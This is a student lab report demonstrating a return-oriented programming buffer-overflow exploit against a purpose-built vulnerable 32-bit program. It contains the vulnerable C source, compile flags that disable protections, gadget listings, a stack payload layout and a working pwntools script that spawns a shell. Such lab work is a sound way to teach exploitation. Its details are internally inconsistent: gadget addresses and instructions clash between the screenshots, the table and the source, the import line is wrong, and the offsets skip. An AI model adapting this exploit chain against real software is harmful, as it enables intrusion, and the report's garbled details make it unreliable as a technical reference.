

Exploiting Buffer Overflow Using Return-Oriented Programming (ROP) to Defeat Non-Executable Stack

Kalpesh Bharat Parmar
M.Eng Cybersecurity
University of Maryland, College Park

[REDACTED]
UMD Directory [REDACTED]
Course and section - ENPM691 0101

Abstract—This report documents a Return-Oriented Programming (ROP) exploit on a vulnerable 32-bit program (`rop1`) to bypass the Non-Executable (NX) stack mitigation. It includes system configuration, compilation command and a detailed explanation of each flag, gadget discovery via `ropper`, ROP-chain construction, proof-of-concept execution, and appendices containing source code and screenshots.

Index Terms—Return-Oriented Programming, Buffer Overflow, NX bit, execve, ROP gadgets, exploitation.

I. INTRODUCTION

Return-Oriented Programming (ROP) chains together short instruction sequences (gadgets) found in a program's executable sections to perform arbitrary computation without injecting code into non-executable memory regions [1], [2]. This lab demonstrates constructing a ROP chain to call `execve("/bin/sh", NULL, NULL)` on a 32-bit binary with NX enabled.

II. SYSTEM CONFIGURATION AND METHODOLOGY

A. System Environment

Experiments were performed in a controlled lab environment:

- OS: Kali-Linux-2025.2
- Compiler: gcc 14.3.0 (Debian 14.3.0-5) with multilib support [4]
- Debugger: GDB 16.3 with pwndbg extension [5]
- Mode: 32-bit (x86)

B. Compilation and Vulnerability

The vulnerable source (`rop1.c`, Appendix V-B) uses an unsafe `gets(buff)` on a 12-byte buffer in `Test()`, enabling a stack-based buffer overflow.

The binary was compiled with:

```
1 gcc -m32 -g rop1.c -o rop1 -std=c90 -no-pie -mpreferred-stack-boundary=2 \tiny→
\tiny→ -fno-pic -fno-stack-protector
```

Listing 1: Compilation Command

TABLE I: Compilation flags and their purpose

Flag	Purpose
<code>-m32</code>	Compile for 32-bit x86 so register widths, calling conventions, and addresses match the exploit.
<code>-g</code>	Include debug symbols for GDB/pwndbg to inspect symbols, stack frames, and memory.
<code>rop1.c</code>	Source file containing the vulnerable function and data (e.g., <code>"/bin/sh"</code> string).
<code>-o rop1</code>	Name the output binary <code>rop1</code> rather than default <code>a.out</code> .
<code>-std=c90</code>	Use the C90 standard for consistent, predictable compilation; avoids newer optimizations that might alter layout.
<code>-no-pie</code>	Disable Position-Independent Executable (PIE) so the code segment loads at a fixed address — necessary for static gadget addresses.
<code>-mpreferred-stack-boundary=2</code>	helping produce predictable offsets for saved EBP/EIP.
<code>-fno-pic</code>	Disable Position-Independent Code (PIC) generation so instructions are emitted at fixed addresses.
<code>-fno-stack-protector</code>	Disable stack canaries (stack protector) so the overflow can overwrite saved EIP for exploitation in the lab.

```
(gdb) ./rop1
[...]
rop1.c: In function `Test':
rop1.c:9:4: warning: deprecated-declarations
 #include <stropts.h>
          ^
In file included from rop1.c:4:
/usr/include/stropts.h:667:14: note: declared here
667 | extern char gets (char *_wir __attribute_deprecated__);
          |
/usr/bin/ld: /tmp/cfcFCUyL.o: in function `Test':
/home/kali/Desktop/ENPM691/Assignment/Assignment7/Lecture2/rop1.c:9:(.text+0x0): warning: the `gets' function is dangerous and should not be used.
```

Fig. 1: Compilation output showing use of flags and the `gets()` deprecation/warning.

C. Compilation Command Explanation

Each flag is chosen to make debugging and exploitation reproducible in the lab:

Figure 1 shows the compilation output and the expected `gets()` warning.

III. ROP CHAIN CONSTRUCTION

A. Objective

Invoke the 32-bit `execve` syscall (syscall number 11) with:

```

kp@kali: ~/Desktop/ENPM691/A
File Actions Edit View Help
(kp@kali) [~/ENPM691/Assignment/Assignment7/Lecture12]
$ ropper -f rop1 --string "/bin/sh"

Strings
Address Value
0x0804a008 /bin/sh

(kp@kali) [~/ENPM691/Assignment/Assignment7/Lecture12]
$ ropper -f rop1 --search "pop e?x"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop e?x

[INFO] File: rop1
0x080491aa: pop eax; ret;
0x080491aa: pop ebx; mov esi, 0x64; pop edi; ret;
0x080491aa: pop ebx; ret;
0x080491aa: pop ecx; mov ebx, 0xffffffff; ret;

[INFO] Searching for gadgets: pop e?x

(kp@kali) [~/ENPM691/Assignment/Assignment7/Lecture12]
$ ropper -f rop1 --search "%edx"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: %edx

[INFO] File: rop1
0x0804913a: adc byte ptr [eax + 0x68], dl; sbb al, al; add al, 8; call edx;
0x0804913a: add al, 8; call edx;
0x0804913a: add al, 8; call edx; add esp, 0x10; leave; ret;
0x0804913a: add byte ptr [eax], al; add byte ptr [eax], al; inc edx; ret;
0x0804913b: add byte ptr [eax], al; inc edx; ret;
0x0804913c: call edx;
0x0804913d: call edx; add esp, 0x10; leave; ret;
0x0804913e: dec edx; ret;
0x0804913f: in al, dx; adc byte ptr [eax + 0x68], dl; sbb al, al; add al, 8; call edx;
0x0804913f: in eax, 0x83; in al, dx; adc byte ptr [eax + 0x68], dl; sbb al, al; add al, 8; call edx;
0x0804913f: inc edx; ret;

[INFO] Searching for gadgets: %edx

```

Fig. 2: ropper output: "/bin/sh" and pop e?x gadget examples.

```

kp@kali: ~/Des
File Actions Edit View Help
0x080491c0: inc edx; ret;
0x080491a2: les eax, ptr [eax + edx*4]; leave; ret;
0x080490f3: les edx, ptr [eax]; leave; ret;
0x08049132: mov ebp, esp; sub esp, 0x10; push eax; push 0x804c018; call edx;
0x0804919d: mov edi, 0x83fffffe; les eax, ptr [eax + edx*4]; leave; ret;
0x080491bb: mov edx, 0; inc edx; ret;
0x08049138: push 0x804c018; call edx;
0x08049138: push 0x804c018; call edx; add esp, 0x10; leave; ret;
0x08049137: push eax; push 0x804c018; call edx;
0x08049137: push eax; push 0x804c018; call edx; add esp, 0x10; leave; ret;
0x08049131: push ebp; mov esp, sub esp, 0x10; push eax; push 0x804c018; call edx;
0x08049016: sal byte ptr [edx + eax - 1], 0x00; add esp, 8; pop ebx; ret;
0x08049139: sbb al, al; add al, 8; call edx;
0x08049139: sbb al, al; add al, 8; call edx; add esp, 0x10; leave; ret;
0x08049134: sub esp, 0x10; push eax; push 0x804c018; call edx;

(kp@kali) [~/ENPM691/Assignment/Assignment7/Lecture12]
$ ropper -f rop1 --search "int 0x80"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80

[INFO] File: rop1
0x080491c4: int 0x80;
0x080491c4: int 0x80; nop; nop; ret;

```

Fig. 3: ropper output: int 0x80 gadget.

$\text{eax} \leftarrow 11$, $\text{ebx} \leftarrow \text{pointer to } "/\text{bin}/\text{sh}"$, $\text{ecx} \leftarrow 0$, $\text{edx} \leftarrow 0$

Then execute `int 0x80`.

B. Gadget String Discovery

We used ropper to locate gadgets and the "/bin/sh" string [3]. Screenshots are in Appendix A and selected gadgets are listed in Table II.

C. Payload Layout

An illustrative payload layout (offsets in bytes) is shown in Table III. Use pwntools to build the flattened payload (Appendix V-C).

TABLE II: Selected gadgets and data addresses (from ropper)

Purpose	Instruction(s)	Address
String	"/bin/sh"	0x0804a008
Set EAX	pop eax; ret;	0x080491aa
Set EBX	pop ebx; mov esi, 0x64; pop edi; ret;	0x080491ac
Set ECX	pop ecx; mov ebx, 0xffffffff; ret;	0x080491b4
Set EDX (inc)	mov edx, 0; inc edx; ret;	0x080491bb
Set EDX (dec)	dec edx; ret;	0x080491c2
Syscall	int 0x80;	0x080491c4

TABLE III: Illustrative ROP payload stack layout

Offset	Value	Purpose / Register
+0 to +15	A * 16 (padding)	Buffer + saved EBP
+20	0x080491aa	Gadget: pop eax; ret;
+24	0x0000000b	eax = 11 (execve)
+28	0x080491b4	Gadget: pop ecx; ret;
+32	0x00000000	ecx = 0
+36	0x080491ac	Gadget: pop ebx; pop edi; ret;
+40	0x0804a008	ebx = "/bin/sh" address
+44	0xdeadbeef	Junk for pop edi
+48	0x080491bb	mov edx, 0; inc edx; ret; (set edx)
+52	0x080491c2	dec edx; ret; (adjust edx)
+56	0x080491c4	int 0x80; (syscall)

IV. RESULTS AND DISCUSSION

A. Proof-of-Concept Execution (detailed)

Runtime sequence and what happens when the exploit runs:

- Overflow:** The input supplied by the PoC script overwrites the saved return address (EIP) on the stack.
- Redirect:** When `Test()` returns, CPU loads the overwritten EIP and jumps to the first gadget address (e.g., `pop eax; ret;`).
- Gadget-chain execution:** Each gadget executes short instructions that typically pop a value from the stack into a register and then return to the next gadget address (popped from the stack). Because the attacker controls stack contents, they control the values loaded into registers and the next instruction addresses.
- Syscall:** After registers are set (`eax=11, ebx="/bin/sh", ecx=0, edx=0`), control reaches the gadget containing `int 0x80`, invoking the kernel syscall table entry for `execve`.

```
(kp㉿kali)-[~/ENPM691/Assignment/Assignment7/Lecture12]
$ ./rop1_poc.py
[*] Starting local process './rop1': pid 29781
[*] Payload length: 56
[*] Switching to interactive mode
/bin/sh is a great command, isn't it?
AAAAAAA...AAAAAA\aa\x91\x04\x08\x0b
$ whoami
kp
$ exit
[*] Got EOF while reading in interactive
$ quit
[*] Process './rop1' stopped with exit code 0 (pid 29781)
[*] Got EOF while sending in interactive

(kp㉿kali)-[~/ENPM691/Assignment/Assignment7/Lecture12]
$
```

Fig. 4: Proof-of-concept: spawned interactive shell and whoami output.

5) Result: The kernel executes `execve("/bin/sh", NULL, NULL)`, replacing the process image with a shell. The PoC verifies the shell is interactive by running `whoami` which returned `kp` in the recorded run.

This shows arbitrary code execution without executing data from the stack — thereby bypassing NX by reusing existing code.

B. Limitations and Mitigations

- ASLR:** Address Space Layout Randomization makes static gadget addresses unreliable. In lab, ASLR was disabled or compensated for by using `-no-pie`. Real-world attacks require info leaks or partial-pointer overwrites.
- PIE:** Position Independent Executables relocate code; compilation with `-no-pie` provides fixed addresses for reproducible lab work.
- Canaries:** Stack canaries detect overflows; they are disabled here for educational demonstration.

V. APPENDICES

A. Appendix A: Screenshots and command outputs

Place the following files in the same directory before compiling:

- `compilation.png` (compilation output)
- `ropcommand1.png` (ropper pop gadgets)
- `ropcommand2.png` (ropper int 0x80)
- `executed.png` (poc execution)

B. Appendix B: Source code (`rop1.c`)

```
1 #include <unistd.h>
2 #include <stdio.h>
3
4 void Test() {
5     char buf[12];
6     gets(buf); /* intentionally unsafe for lab */
7     puts(buf);
8 }
9
10 void gogoGadget() {
11     __asm__ ("pop %eax; .ret");
12     __asm__ ("pop %ebx; mov $100, %esi; pop %edi; .ret");
13     __asm__ ("pop %ecx; mov $0xffffffff, %ebx; .ret");
14     __asm__ ("mov $0xd, %edx; inc %edx; .ret");
15     __asm__ ("dec %edx; .ret");
16     __asm__ ("int $0x80; nop; .ret");
17 }
18
19 int main(int argc, char *argv[]) {
20     char *myString = "/bin/sh";
21     printf("%s_is_a_great_command,_isn't_it?\n", myString);
22     Test();
23     return 0;
24 }
```

Listing 2: `rop1.c` (vulnerable program)

C. Appendix C: PoC exploit script (`rop1_poc.py`)

```
1 #!/usr/bin/env python3
2 import sys
3 from pwntools import *
4
5 binPath = "./rop1"
6
7 gdbscript = '''
8 init-pwndbg
9 break,*Test+32
10 continue
11 '''
12
13 def start():
14     if args.GDB:
15         return gdb.debug([binPath], gdbscript=gdbscript, aslr=False)
16     else:
17         return process([binPath])
18
19 io = start()
20 elf = ELF(binPath, checksec=False)
21
22 # payload components
23 overFlow = b'A'*16
24 binSH = p32(0x0804a008)
25 junk = p32(0xdeadbeef)
26
27 # gadget addresses (from ropper output)
28 popEAX = p32(0x080491aa)
29 popEBX = p32(0x080491ac)
30 popECX = p32(0x080491b4)
31 zeroEDX1 = p32(0x080491bb)
32 zeroEDX2 = p32(0x080491c2)
33 int80 = p32(0x080491c4)
34
35 payload = flat(
36     overFlow,
37     popEAX, 0xb,
38     popECX, 0x0,
39     popEBX, binSH, junk,
40     zeroEDX1, zeroEDX2,
41     int80
42 )
43
44 log.info("Payload_length: %d", len(payload))
45 io.sendline(payload)
46 io.interactive()
```

Listing 3: `rop1_poc.py(exploit)`

REFERENCES

- [1] H. Shacham, “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86),” in *Proc. ACM CCS*, 2007.
- [2] C. Anley, J. Heasman, F. Lindner, and G. Richarte, *The Shellcoder’s Handbook: Discovering and Exploiting Security Holes*, 2nd ed., Wiley, 2011.
- [3] S. S., “Ropper — Gadget Finder,” GitHub repository. [Online]. Available: <https://github.com/sashs/Ropper>
- [4] GNU, “GCC Manual,” [Online]. Available: <https://gcc.gnu.org/onlinedocs/>
- [5] Pwndbg Team, “pwndbg: GDB plugin for exploit development,” GitHub repository. [Online]. Available: [https://github.com/pwendbg/pwendbg](https://github.com/pwndbg/pwndbg)